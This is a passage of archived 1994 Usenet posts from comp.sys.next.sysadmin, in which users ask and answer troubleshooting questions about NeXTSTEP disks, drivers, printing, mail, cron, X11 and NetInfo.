So please reply to veloqxli@iris-1.ce.berkeley.edu
Thanks!
Sam.
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Strange fsck message
Message-ID: <westesCKxJzz.BKB@netcom.com>
Organization: Mail Group
Date: Tue, 8 Feb 1994 23:59:59 GMT
What does the following message from fsck mean?
"/lost+found/#062351 is an extraneous hard link to directory
/lost+found/#062351. Deleting...."
Note that the directory is the same in both parts of the message.
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Problems Launching from Workspace/Dock
Message-ID: <1994Feb8.211737.642@hot.com>
Followup-To: comp.sys.next.programmer
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2j2utt$bim@gpo.gb.swissbank.com>
Date: Tue, 8 Feb 1994 21:17:37 GMT
Your problem is most likely a programming one and thus should be
presented to comp.sys.next.programmer It sounds like an
initialization problem but without more details, it's hard to say
exactly what.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2j2utt$bim@gpo.gb.swissbank.com> bigMalc ( NeXT Mail OK)
writes:
> Apologies if this is the wrong place to mail this query but there
you go -
> we all have to start somewhere.
>
> We have a weird problem with an in house trading application called
FOS
> which manifests itself only with a particular user on a particular
> (networked) machine. If you launch the application either from the
dock or
> from the workspace the application will eventually hang when you
either
> move a window or attempt to close a window. The weird thing is when
you
> start the application from the command line then everything is
fine!
>
> The problem, I guess, centres around the user defaults which, from
time to
> time (but NOT every time), are corrupted if the application is
launced
> from the dock or from the workspace.
>
> Even weirder - you can log on to his machine as a different user
and all
> is OK (application sits in LocalApps so they are accessing the same
> executable, using same Op System but different defaults) and you
can log
> on as the troubled user on a different machine and everything is OK
> (diffrent application executable same defaults)!
>
> But - if you launch the application from the command line by
FOS.app/FOS
> -MachLaunch (Blah) then the application hangs so I guess that the
problem
> is the -MachLaunch bit.
>
> We have tried all 'obvious' things (change defaults, reinitialise
> defaults. etc) and nowt seems to work.
>
> Any help would be greatly appreciated.
>
> Thanks,
>
> bigMalc (no sig)
Newsgroups: comp.sys.next.sysadmin
From: sdavenpo@vaxc.stevens-tech.edu
Subject: Only root login possible (NS/I)
Message-ID: <1994Feb8.214408.1@vaxc.stevens-tech.edu>
Sender: news@dmi.stevens-tech.edu (USENET News System)
Organization: Stevens Institute Of Technology
Date: Wed, 9 Feb 1994 02:44:08 GMT
Help - I can only log on as root!
All other users, both old and new creations cannot log in.
I get the 'No directory <user's home directory>' message
from a Terminal or just complete denial from a login screen.
I followed the suggestions in the on-line docs for troubleshooting
users, which basically consisted of checking permissions and
ownerships, all of which are in order.
I was toying with rights on the core unix directories, but restored
them all (I think) to their original status.
Regardless, I can't even create a brand new user and have him log in.
Any help is greatly appreciated.
Scott Davenport
sdavenpo@vaxc.stevens-tech.edu
[ Internet Mail Only :( ]
From: gt6963c@prism.gatech.EDU (John "Kzin" Rudd)
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Internal Modem/ Serial Card driver for NS/I Desperately wanted
Message-ID: <137367@hydra.gatech.EDU>
Date: 9 Feb 94 03:37:59 GMT
Sender: news@prism.gatech.EDU
Followup-To: comp.sys.next.software
Has anyone heard of, written, or bought or downloaded or ANYTHING,
a driver that will work for internal modems or serial cards?
I have an internal modem, and don't wnat to shell out the money for
an external modem.. I tried disabling my on-board serial port com2,
and setting my modem to be com2..but NS didn't like that.
Any help would be appreciated. I don't really need my second serial
port right now, so if you know how to set that up, that'd be ok..but
i'd really just rather have an internal modem driver.
I'd even pay a reasonable fee to buy one.. So don't rule out commercial
drivers.
John
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===========Intel: Putting the backward in backward compatable.==============
DOOM ON YOU!
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: Formatting Multiple Floppies
Message-ID: <CKxvGA.F5K@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Wed, 9 Feb 1994 03:57:36 GMT
I saw a posting about a month ago on how to format multiple floppies.
In that post was a script for doing so, but the script contained
calls to commands that are not on a NeXT system. Has anybody written
a script to do this?
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From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: fax options for ns/i
Message-ID: <1994Feb9.005007.9901@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Wed, 9 Feb 1994 00:50:07 GMT
Hi. Please tell me what my options are for installing a fax modem on
systems running NEXTSTEP for Intel...
1. Is NXFAx available yet? What internal fax/modems does this
support? Will NXFax allow me to use com3 or com4, for an internal
fax/modem?
2. An NeXTConnection advertisement from an issue of NeXTWorld states
(to the effect) that the Prometheus Ultima Fax Modem "supports the
Class II standard, ensuring compatibility with built-in fax software
in NEXTSTEP." Does this mean I could use the Prometheus on a NEXTSTEP
for Intel machine, and use the HSD or Interfax drivers (bundled with
NEXTSTEP)? Anyone tried this on an Intel machine?
Any other comments on current fax/modem options, for NEXTSTEP for
Intel, would be appreciated.
Thanks,
Phil
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Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Re: Can I run X11 (origional) in NS/White?
Date: 9 Feb 1994 07:12:25 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2ja2cp$t91@hub.ucsb.edu>
References: <1994Feb8.232002.28042@beaver.cs.washington.edu>
In article <1994Feb8.232002.28042@beaver.cs.washington.edu> fineman@cs.washington.edu (Daniel Fineman) writes:
]
]
]I'd like to get X11 running on my machine (intel). UNfortunately, X11R5
]for NeXTStep is only compiled for black hardware, and the others
](cube-x, mouse-x and co-xist) cost some major $$s. I honestly don't mind if it
Whoah there -- "mouse-x" is public domain software, and costs nothing.
There is no generic "X11R5" -- that is just the release number of the MIT X
software. I think you actually mean the mouse-x software, since it *does*
only run on the black machines.
]doesn't run as a NeXTStep app, so going through the BSD shell would be
]fine (if possible).
]
]could I:
]
] compile all the proper stuff for X11, and get it to take over
](or run as a window in) the workspace? or
]
] simply boot in single user mode, and go from there? Is single
]user mode just BSD without the NS frills? And could it run in (*gasp*)
]color, if i've only got a cirrus logic video card? I've got a friend
]who runs FreeBSD with the same vid card, and gets color X going (on a
]386, to add insult to injury).
Nope, sorry, you gets what yah pays fer -- Only the commercial X servers will
run on the white machines. There is no publically available software for
compiling your own Intel X server.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: NeXT Cube SCSI termination power ?
Message-ID: <CKx9sJ.MBE@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <2j5s3s$1m6@news.cs.tu-berlin.de>
Date: Tue, 8 Feb 1994 20:19:30 GMT
ernst@cs.tu-berlin.de (Ernst Kloecker) writes:
>Some things I always wanted to know about Cubes and SCSI :
I don't know whether or not the Cube supplies power to the
TERMPWR pin.
If you have an internal disk only it should be terminated, the
external SCSI port need not to be terminated.
If you hook up an external disk to the CUBE, and it's the (end)
only device then it must be terminated. Rule: always terminate
the last unit in the chain whether it be external or internal.
In case a device can supply power to the resistor or the TERMPWR
pin or to both I would recommend a setting that will supply to
the internal resitor only. Any short external to the device
may damage it (this note was taken from FUJITSU installation guide).
In any case don't worry about the motherbord's SCSI port(s) they
take care of themself.
Klaus
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From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Subject: Re: Can I run X11 (origional) in NS/White?
Message-ID: <1994Feb9.111051.11502@sun0.urz.uni-heidelberg.de>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Sender: news@sun0.urz.uni-heidelberg.de (NetNews)
Organization: University of Heidelberg, Germany
References: <1994Feb8.232002.28042@beaver.cs.washington.edu> <2ja2cp$t91@hub.ucsb.edu>
Date: Wed, 9 Feb 94 11:10:51 GMT
Douglas Scott (doug@foxtrot.ccmrc.ucsb.edu) wrote:
: ] simply boot in single user mode, and go from there? Is single
: ]user mode just BSD without the NS frills? And could it run in (*gasp*)
: ]color, if i've only got a cirrus logic video card? I've got a friend
: ]who runs FreeBSD with the same vid card, and gets color X going (on a
: ]386, to add insult to injury).
: Nope, sorry, you gets what yah pays fer -- Only the commercial X servers will
: run on the white machines. There is no publically available software for
: compiling your own Intel X server.
Ok, you're right that there's no 'free' software available to run a X
server from within NEXTSTEP/Intel. But there IS XFree, running on Intel
machines on top of Linux, FreeBSD,... . I think it should in principle be
possible to port this 'publically available' server to NEXTSTEP/Intel. I
have no idea how much work it is, but it should be possible.
Has anyone yet played with it ?
Gregor
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From: mickey@mothra.UU.NET (Mickey Lasky)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disabling RLOGIN,TELNET,FTP from remote access.
Date: 9 Feb 1994 14:20:56 GMT
Organization: UUNET Communications
Distribution: na
Message-ID: <2jarg8$m2m@news.UU.NET>
References: <1994Feb8.233045.18323@serval.net.wsu.edu>
You can run this nifty program called TCP_Wrapper. It limits the use of certain
remote services from sites other than those in your specified "allow" lists. I
run it under NS3.0 and it works nicely. I default it to reject EVERYTHING (it
logs all attempts too), and then custom tailer the allow list to let in only
what I want. I snagged it from cs.orst.edu.
=====================================================
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Newsgroups: comp.sys.next.sysadmin
From: swisner@netcom.com (Steven Wisner)
Subject: Looking for news reader/administrator
Message-ID: <swisnerCKyouq.Koz@netcom.com>
Followup-To: swisner@netcom.com
Keywords: news reader administrator
Organization: KPMG
Date: Wed, 9 Feb 1994 14:42:25 GMT
We have set up a NeXT cube as a mail gateway, and now would like to add news
reading capability. I have seen a lot of traffic about NewsGrazer, but the
person responsible for setting up the box says that it is only for reading,
not for managing a news site. I am willing to believe this distinction,
which leads me to ask what if any software is available for actually
administrating a news feed. I have not found any information in the FAQ's, so
any help would be much appreciated.
Steven Wisner
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: NeXT's sendmail query
Date: 9 Feb 1994 14:50:16 -0000
Organization: me organized? That's a joke!
Message-ID: <2jat78$34s@steffi.demon.co.uk>
Often I have a need to delete messages that have been sent to me from
my store and forwarders site.
Am I correct in saying that NeXT's sendmail currently doesn't support
Maxsize in that it will not negotiate and reject _until_ after the
message has been sent. By then I've already paid for the message.
Later releases of sendmail I believe, support ESMTP.
Two questions,
I don't use the netinfo dependencies that exist within sendmail ie. I
don't use netinfo aliases SO. Is there way I can configure up _a_
sendmail in order to reject messages of a certain size before they are
sent.
I need something that will send back my host a 500 (rfc821) message when the
size isn't acceptable.
If this requires a custom hack of UIUC's sendmail then so be it. But
I'd like to see this facility added to NeXT's version _if it isn't
already_ because Maxsize rejecting messages once they have been sent
it totally useless to me.
---
What versions of sendmail are people currently running that provides
this custom behaviour?
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From: traupman-jonathan@cs.yale.edu (Jonathan Traupman)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Re: Can I run X11 (origional) in NS/White?
Date: 9 Feb 1994 12:04:30 -0500
Organization: Yale University Computer Science Dept., New Haven, CT 06520-2158
Message-ID: <2jb52uINNos@PYTHON.ZOO2.CS.YALE.EDU>
References: <1994Feb8.232002.28042@beaver.cs.washington.edu> <2ja2cp$t91@hub.ucsb.edu> <1994Feb9.111051.11502@sun0.urz.uni-heidelberg.de>
In article <1994Feb9.111051.11502@sun0.urz.uni-heidelberg.de> flight@mathi.uni-heidelberg.de (Gregor Hoffleit) writes:
>Douglas Scott (doug@foxtrot.ccmrc.ucsb.edu) wrote:
>: ] simply boot in single user mode, and go from there? Is single
>: ]user mode just BSD without the NS frills? And could it run in (*gasp*)
>: ]color, if i've only got a cirrus logic video card? I've got a friend
>: ]who runs FreeBSD with the same vid card, and gets color X going (on a
>: ]386, to add insult to injury).
>
>: Nope, sorry, you gets what yah pays fer -- Only the commercial X servers will
>: run on the white machines. There is no publically available software for
>: compiling your own Intel X server.
>
>Ok, you're right that there's no 'free' software available to run a X
>server from within NEXTSTEP/Intel. But there IS XFree, running on Intel
>machines on top of Linux, FreeBSD,... . I think it should in principle be
>possible to port this 'publically available' server to NEXTSTEP/Intel. I
>have no idea how much work it is, but it should be possible.
>
>Has anyone yet played with it ?
I put on on this weekend in a spare partition. It's very nice (and a heck
of a lot faster than NS video -- what is NeXT's phobia of accelerators?).
Unfortunately it is a pain to configure -- you have work out timing tables
for your monitor for each resolution you work at.
Also it doesn't look like it would be easy to port to NS. The device
drivers seem closely tied with the server -- you need a different server
for each graphics card type. Unless someone writes a server that will use
DPS instead of a direct hardware driver (an apparently non-trivial
undertaking), I don't think we'll see XFree on NS.
However, Linux and XFree only take about 100MB total. If you only need X
occasionally and don't need X/NS interoperability, try going with that on
a second partition.
Later,
Jon
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From: hketola@agsm.ucla.edu (Heikki Ketola)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT laser: np0: spurious packet received, command e6
Date: 9 Feb 1994 17:21:54 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2jb63i$5lt@news.mic.ucla.edu>
All attempts to print onto my NeXT laser end up with this error message
np0: spurious packet received, command e6
It's a NeXTstation color... I am lost. Any ideas?
hketola@sms-usa.com
From: info@absystems.com (Advanced Business Systems)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT laser: np0: spurious packet received, command e6
Message-ID: <2jb8qb$gnh@inxs.concert.net>
Date: 9 Feb 94 18:08:11 GMT
References: <2jb63i$5lt@news.mic.ucla.edu>
Organization: MCNC -- Center for Communications -- CONCERT
In article <2jb63i$5lt@news.mic.ucla.edu> hketola@agsm.ucla.edu (Heikki Ketola)
writes:
> All attempts to print onto my NeXT laser end up with this error message
> np0: spurious packet received, command e6
>
> It's a NeXTstation color... I am lost. Any ideas?
>
There was a thread regarding this problem a week or two ago on one or the other
c.s.n.* groups...you will need to probably get a hold of Bell Atlantic at
800-499-6398 and advise them of your spurious packet error command...I think
they will probably send you a board replacement.
Dave
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From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.unix.questions,comp.unix.misc,comp.sys.mac.apps,comp.sys.next.sysadmin
Subject: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 9 Feb 1994 19:22:26 +0100
Organization: University of Bergen
Message-ID: <2jb9l2$3v4@alf.uib.no>
I have downloaded some fonts I'd like to use on my NeXT, but have
been unsuccesful in finding Unix code to unpack these archives.
The format is <filename>.cpt.hqx
I have Opener.app (for NeXT) which can unpack the hqx format, but
it chokes when it gets to the cpt part. This is beginning to
be a lot of hassle for a few simple fonts...
Please e-mail replies/answers.
Regards,
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NorNeXT User Group leader | I've ever known...
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From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin
Subject: mounting other disk with a dev directory
Date: 9 Feb 1994 11:32:25 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2jba7p$s0t@cheltenham.cs.arizona.edu>
I have a question about mounting another disk with dev on it.
I have my new intel machine with an ide drive and everything for unix
is on the ide drive, /bin, /dev, /usr, everything.
Then I have a scsi drive that I also mount as /OtherDisk.
This is from my cube. I simply removed the boot hard disk from the
next and attached it to the scsi board of my intel machine. The system
recognizes the disk without problems. But there is a problem. Some of
the old nextstep stuff is still there as I haven't gotten around to
deleting it yet. The problem is with the dev directory on the old
next disk, now mounted as /OtherDisk/dev.
Anything that looks at this directory causes an instant crash. I need
to somehow remove the dev directory. rm -rf of that directory causes
an immediate crash.
I don't want to reformat the drive if I can avoid it because I have a
lot of stuff on it and it would be a pain to copy it over.
There must be some way to mount a disk with a dev directory on it.
thanks,
nick
From: stuart@cs.umd.edu (Stuart Pearlman)
Newsgroups: comp.sys.next.sysadmin
Subject: prserver: Cannot find printer entry: Local_Printer
Date: 9 Feb 1994 14:05:26 -0500
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <2jbc5m$3ob@tove.cs.umd.edu>
I'm having problems printing to a NeXT 400 dpi laser printer. This
just started happening after I rebooted my nextstation turbo color.
Every time I submit a print job, I get the following message in the
console window:
Feb 9 13:19:56 ffxnx2 su: stuart on /dev/ttyp1
Feb 9 13:49:49 ffxnx2 PrintServer[396]: Cannot find printer entry:
Local_Printer
I think that this is coming from /usr/lib/NextPrinter/Server/prserver.
I'm not really sure. Does anyone know what might cause this?
I checked netinfo, and the printcap entry for Local_Printer is there.
I can see it with "nidump printcap ." and NetinfoManager.
I've tried rebooting the machine a second time. It didn't help.
The first reboot (when the problem started occuring) was precipitated
by a slew of SCSI errors (from sd1 - our NeXT cdrom).
This is rather urgent. Please email suggestions, as I'll be too busy
working on this to read news. Feel free to ask for aditional info.
-stuart
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Newsgroups: comp.sys.next.sysadmin
From: hdoshi@mantaray.micro.umn.edu (Hiten J Doshi)
Subject: HELP: NeXT doesn't recognize 2nd disk -- DOS
Message-ID: <CKz26G.9tC@news.cis.umn.edu>
Keywords: Disk
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Minneapolis: Under Grad Workstation Lab.
Date: Wed, 9 Feb 1994 19:26:57 GMT
I just installed a second hard disk on my PC running NeXT 3.1
and used fdisk to create an extended DOS partition on the entire
disk. Then I formatted it and installed Windows etc. on this
disk.
NeXT however doesn't seem to recognize it as a disk with a DOS
filesystem and upon logging in comes up with a box asking me
if I want to initialize the disk. It however recognizes the
small DOS partition I have on the first disk which I use to
boot DOS.
I tried mounting /dev/hd1a and /dev/rhd1a etc. but none of
these devices seem to exist. Reading the man pages for
fstab, mtab, mount etc didn't help either.
So how do I get NeXT to recognize this second disk?
Any help is greatly appreciated.
Thanks,
Hiten Doshi.
Newsgroups: comp.sys.next.sysadmin
From: sanders-malcolm@cs.yale.edu (Malcolm Sanders)
Subject: Mail address interpretation?
Message-ID: <2jblahINNmv7@FROG.ZOO2.CS.YALE.EDU>
Sender: news@cs.yale.edu (Usenet News)
Organization: /homes/ee/sanders/.organization
Date: Wed, 9 Feb 1994 21:41:37 GMT
I have set up a very basic internet connection for my cube. I used
SimpleNetworkstarter.app to set myself up as a standalone machine
that hangs off the internet. I am configured neither as a server nor
a client. I have a couple of nameserver entries in /etc/resolv.conf
to resolve internet names using BIND and I have no trouble connecting
with telnet, ftp, etc.
Where I do have problems is with Mail. Although I am receiving
mail messages at my internet address, I cannot send mail messages
beyond my own domain. When I try to send a message to an address that
is not in my immediate domain, the message bounces back to me
with the error message:
"550 Host unknown (Authoritative answer from name server)"
Given my simple network configuration, is there any way I can handle mail
address interpretation either directly, or by delegating another machine
to do it for me?
Thanks,
Malcolm Sanders.
malcolm@acadia.umfacad.maine.edu
From: arneha@ifi.uio.no (Arne Christian Herseth)
Newsgroups: comp.sys.next.sysadmin
Subject: ZMODEM
Date: 9 Feb 1994 23:34:49 +0100
Organization: Dept. of Informatics, University of Oslo, Norway
Message-ID: <2jboe9$gi@menja.ifi.uio.no>
I have uploaded ZMODEM from cs.ors.edu.
The binaries obviously were for Next not PCs.
When I try make next I get compilererrors in rbsb.c
Are there any binaries around or does anyone have some tips on how
to get it throug the make procedure ?
The errormessages are as follows:
localhost> make next
cc -O -bsd -DMD=2 -Dstrchr=index -DV7 rz.c -o rz
In file included from rbsb.c:25, from rz.c:161:
/NextDeveloper/Headers/bsd/strings.h:23: warning: conflicting types for built-in function `strlen'
rbsb.c: In function `mode':
In file included from rz.c:161:
rbsb.c:246: `oldtch' undeclared (first use this function)
rbsb.c:246: (Each undeclared identifier is reported only once
rbsb.c:246: for each function it appears in.)
rbsb.c:251: `tty' has an incomplete type
rbsb.c:252: `tch' undeclared (first use this function)
rbsb.c:258: invalid use of undefined type `struct termio'
rbsb.c:259: invalid use of undefined type `struct termio'
rbsb.c:278: `tty' has an incomplete type
rbsb.c:279: invalid use of undefined type `struct termio'
rbsb.c:280: invalid use of undefined type `struct termio'
rbsb.c:283: invalid use of undefined type `struct termio'
rbsb.c: At top level:
rbsb.c:153: storage size of static var `oldtty' isn't known
rbsb.c:153: storage size of static var `tty' isn't known
*** Exit 1
Stop.
Arne Haarseth (arneha@ifi.uio.no)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: SerialDriver screw up -- HELP!
Message-ID: <1994Feb9.161326.3457@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <1994Feb8.172745.14622@il.us.swissbank.com>
Date: Wed, 9 Feb 1994 16:13:26 GMT
You can remotely log in or boot single-user and fix it. Look in
/NextLibrary/Devices. I think you want to look in System.config.
Look at the document "Configuring.rtfd" in Digital Librarian's
DriverKit book for more information.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <1994Feb8.172745.14622@il.us.swissbank.com>
tmeyer@il.us.swissbank.com (Tom Meyer) writes:
> Ok, so call me an idiot...
>
> I was installing the new 'Mux' serial port driver on my white
hardware
> last night when I did something rather stupid...
>
> - I installed 2 instances of the Mux driver and set them IRQs (3
and 4)
> and port addresses to those used by the default serial driver. I
then
> removed the SerialDriver from the list of used drivers [First Dumb
Move]
>
> - When I saved the configuration, it said something like
"SerialMouse
> Requires SerialPort driver to function". Like a complete moron, I
ignored
> the message thinking "well, the new serial driver will drive the
mouse".
> [Second Dumb Move]
>
> - When I rebooted the machine, whaddaya think happens ? No mouse
function.
>
> - Tried booting with 'config=Default', but I get these now pretty
obvious
> messages:
>
> Configuring Device Drivers
> PCPointerProbe: mouseInit failure
> Using default table for BusMouse
> - IoProbeDriver: No Such Device BusMouse unit 0
> Using Default table for SerialPorts
> (it just hangs here)
>
> Any suggestions ?? If I can log into my machine remotely, is there
a way
> to reconfigure the machine from the command line? Can I boot off
the CD
> ROM .If so, what is the command to do so from the 'boot:' prompt??
(yeah,
> I know, rtfm)
>
> Any help would be appreciated.
>
> thanks,
>
> tom meyer
> tmeyer@il.us.swissbank.com
>
> --
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>
> /* Unfortunately, opinions expressed are mine */
> /* and mine alone */
> /* */
> /* tmeyer@il.us.swissbank.com */
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! Crashed Disk!
Date: 8 Feb 1994 15:05:54 GMT
Organization: University of Houston
Message-ID: <2j89oi$9a6@menudo.uh.edu>
References: <westesCKvy6B.sH@netcom.com>
In article <westesCKvy6B.sH@netcom.com> westes@netcom.com (Will Estes)
writes:
#I thought last week was bad when someone trashed the video drivers on
#the OS/2 machine and it took us nine hours to recover (four hours on
#hold to IBM tech support over the course of three calls). Then the
#Diamond Stealth 24 VLB in that same machine stopped remembering its
#synch settings if you powered off the machine. Two hours on hold to
#Diamond.
#
#Well, this week is shaping up much better than last week. :)
#
#Today while re-booting NeXTSTEP I found out some blocks on our disk
#were toasted. I have not been able to fully recover, and I need
#some pointers from the pros.
#
#The good news is I didn't spend any time on hold to NeXT because
#they don't have any free public tech support. :) :)
#
#The bad new is:
#
#On bootup, we got:
#
#target:0 lun:0 op:Read block:848592
#
#/dev/rsd0a: CANNOT READ BLK 424136
#
#I get sent to the prompt as root. I run fsck and it finds bad
#sectors from 424136-424143. I answered yes to all questions until
#such time as fsck had cleared up all the file and connection
#problems, etc.
#
#The problem I have now is that fsck did not mark the bad sectors as
#bad. Every time I run fsck it keeps finding the same bad sectors.
#Should fsck resolve that for me? If no, then what utility can I use
#to mark those sectors as bad? I hate to be literal, but what is
#the exact syntax of the command to run?
#
#Finally, assuming the worst case where I cannot correct the problem and
#boot the NeXTSTEP shell automatically:
#
#1) Is there any command that I can use to start the shell manually?
#
Look at the poorly undocumented command /usr/etc/reasb
This command will relocate bad blocks if possible.
#
#Any and all tips appreciated.
#
#--
#Will Estes Internet: westes@netcom.com
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From: jspears@weston.com (Wes Spears)
Subject: Stupid Cron Question
Message-ID: <1994Feb9.133904.3313@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Wed, 9 Feb 1994 13:39:04 GMT
I am having a problem with my cron. In crontab.local, I have specified
scripts that I want to run at certain times. I have tried using sh to
execte them, or making the script executable itself, and running it that
way.
When I copy the line out to a terminal window, it executes either way, but
in crontab.local, it never will. I have all the fields correct, I
beleive, but I can't understand why it will not execute.
If anyone has any thoughts, please let me know. By the way, other
commands that I have in cron, that are not shell scripts execute as
planned?
Thanks
Wes
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From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Stupid Cron Question
Date: 9 Feb 1994 15:40:51 GMT
Organization: University of Houston
Message-ID: <2jb063$iu8@menudo.uh.edu>
References: <1994Feb9.133904.3313@weston.com>
In article <1994Feb9.133904.3313@weston.com> jspears@weston.com (Wes Spears)
writes:
#I am having a problem with my cron. In crontab.local, I have specified
#scripts that I want to run at certain times. I have tried using sh to
#execte them, or making the script executable itself, and running it that
#way.
#
#When I copy the line out to a terminal window, it executes either way, but
#in crontab.local, it never will. I have all the fields correct, I
#beleive, but I can't understand why it will not execute.
#
#If anyone has any thoughts, please let me know. By the way, other
#commands that I have in cron, that are not shell scripts execute as
#planned?
#
#Thanks
#Wes
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Make sure your scripts export a PATH or make sure all your commands have
explicit paths (like /bin/cat). It seems that cron no longer has a default
path or that it uses the path in the system .loing/.profile/.cshrc...
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From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Insall an internal hard disk on NeXTstation
Date: 9 Feb 1994 13:46:20 GMT
Organization: Suite Software
Distribution: world
Message-ID: <2japfc$lbb@bilbo.suite.com>
References: <2ijmuq$ii3@auggie.CCIT.Arizona.EDU>
In article <2ijmuq$ii3@auggie.CCIT.Arizona.EDU> ferng@Arizona.EDU(Jimmy M.
Ferng) writes:
> I have a NeXTstation running NeXT System version 3.0. I'm trying to
> replace the small internal hard disk with a bigger one as a boot disk
with
> some problems.
>
> The IBM OEM 0662S12 1 gigabyte drive is recognized as such by the system
> program "disk" and "disk" will format it and say that it is properly
> formatted. But it does not seem to be able to initialize and the system
> software does not seem able to install itself on the drive or initialize
> it - when installing from a cd rom. When it tries to initialize it the
> programs get write errors "Incomplete disk transfer etc". Also the
system
> will not boot from the cd unless I give the cd a lower target number
than
> the new internal and uninitialized hard drive.
>
> I'll appreciate very much any help.
>
> ---
> Jimmy M. Ferng | University of Arizona
> Internet: ferng@arizona.edu | Computer Center
I recently (3 weeks ago) tried to make this same drive work in a Next to
no avail. I got it to work in every way EXCEPT that I could not boot to
it. IBM and other Tech support was of no help. I wound up using the disk
in another machine (RS6000). Good luck...
Scot
Newsgroups: comp.sys.next.sysadmin
From: kincaid@next1.mc.maricopa.edu (Brad Kincaid)
Subject: NS 3.2 Crash sleuthing help
Message-ID: <CKyo7t.Fp7@ennews.eas.asu.edu>
Keywords: Crash NS3.2 sysadmin
Sender: news@ennews.eas.asu.edu (USENET News System)
Organization: Arizona State University
Date: Wed, 9 Feb 1994 14:28:39 GMT
I'm having recurrent crashes of NS on my white hardware. I'm one of the
few on our campus using white hardware, so no one else has reported the
problem. My system crashes and gives the following message:
Waiting for remote debugger connection.
(Type 'c' to continue or 'r' to reboot)
Some days I've crashed as many as 4-5 times, then I'll go several days
without a problem then here it comes again. In my naive thinking, the
message suggests something to do with my network connection to the server.
Most of my Apps reside in my home directory there.
Can anyone help me diagnose this error message?
Thanks for any help you can provide, Brad
--
W.B. Kincaid, Ph.D.
Life Science Department
Mesa Community College
1833 W. Southern Ave.
Mesa, AZ 85202
kincaid@next.mc.maricopa.edu
From: claspac@cats.ucsc.edu (Jas-Russell)
Newsgroups: comp.sys.next.sysadmin
Subject: PC-NFS and Wollengong
Date: 10 Feb 1994 01:43:48 GMT
Organization: University of California, Santa Cruz
Message-ID: <2jc3gk$8h9@darkstar.UCSC.EDU>
Keywords: NFS DOS Intel
Folks,
I just got a set of TCP utilities from Wollengong for
my DOS/Windows Intel machine.
I want to do cross patform development and share a set
of files between my DOS and NeXT platforms and SoftPC
doesn't solve all the issues.
I have installed the Wollengong PC-NFS client on the DOS
machine.
They make a connection of some kind, but a simple ls
or dir of the NFS exported (and DOS side imported)
file system takes minutes to execute.
Has anybody else used NeXTs as a NFS server and been
successful connecting DOS and Macs as clients?
Thanks for your replies.
--
Name: Will Russell
E-mail: claspac@cats.ucsc.edu
Voice: 408-459-2060
FAX: 408-429-0146
Newsgroups: comp.sys.next.sysadmin
From: paccorti@nextsrv1.andi.org (Peter Accorti)
Subject: time
Message-ID: <CKzK9I.185@nextsrv1.andi.org>
Keywords: time clock
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
Date: Thu, 10 Feb 1994 02:00:54 GMT
I've upgraded to NS 3.0 (black) and my system clock keeps losing time. Is
there a patch for this and where can I find it. Thanks in advance.
Peter Accorti
Newsgroups: comp.sys.next.sysadmin
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Re: HELP changing NetInfo Master
Message-ID: <1994Feb10.011902.27676@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <13666@blue.cis.pitt.edu>
Date: Thu, 10 Feb 1994 01:19:02 GMT
robert cyphers (rcc@next1.math.pitt.edu) wrote:
: Greetings Netters:
: Help!
: The machine which has been NetInfo server for my network is now being
: transferred to another department. Does anyone know how I can go about
: making a different machine become the new MASTER NetInfo server for the
